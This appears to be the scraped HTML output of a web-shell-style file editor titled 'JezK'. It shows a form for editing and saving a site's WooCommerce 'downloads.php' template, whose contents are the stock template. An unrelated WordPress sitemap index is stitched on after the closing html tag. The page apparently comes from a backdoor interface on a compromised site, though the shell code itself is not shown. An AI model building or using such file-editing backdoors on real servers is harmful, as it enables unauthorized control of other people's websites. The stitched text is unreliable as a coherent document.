
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: downloads.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Downloads
 *
 * Shows downloads on the account page.
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/myaccount/downloads.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://woo.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 7.8.0
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

$downloads     = WC()-&gt;customer-&gt;get_downloadable_products();
$has_downloads = (bool) $downloads;

do_action( &#039;woocommerce_before_account_downloads&#039;, $has_downloads ); ?&gt;

&lt;?php if ( $has_downloads ) : ?&gt;

	&lt;?php do_action( &#039;woocommerce_before_available_downloads&#039; ); ?&gt;

	&lt;?php do_action( &#039;woocommerce_available_downloads&#039;, $downloads ); ?&gt;

	&lt;?php do_action( &#039;woocommerce_after_available_downloads&#039; ); ?&gt;

&lt;?php else : ?&gt;

	&lt;?php

	$wp_button_class = wc_wp_theme_get_element_class_name( &#039;button&#039; ) ? &#039; &#039; . wc_wp_theme_get_element_class_name( &#039;button&#039; ) : &#039;&#039;;
	wc_print_notice( esc_html__( &#039;No downloads available yet.&#039;, &#039;woocommerce&#039; ) . &#039; &lt;a class=&quot;button wc-forward&#039; . esc_attr( $wp_button_class ) . &#039;&quot; href=&quot;&#039; . esc_url( apply_filters( &#039;woocommerce_return_to_shop_redirect&#039;, wc_get_page_permalink( &#039;shop&#039; ) ) ) . &#039;&quot;&gt;&#039; . esc_html__( &#039;Browse products&#039;, &#039;woocommerce&#039; ) . &#039;&lt;/a&gt;&#039;, &#039;notice&#039; ); // phpcs:ignore WooCommerce.Commenting.CommentHooks.MissingHookComment 
	?&gt;

&lt;?php endif; ?&gt;

&lt;?php do_action( &#039;woocommerce_after_account_downloads&#039;, $has_downloads ); ?&gt;
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
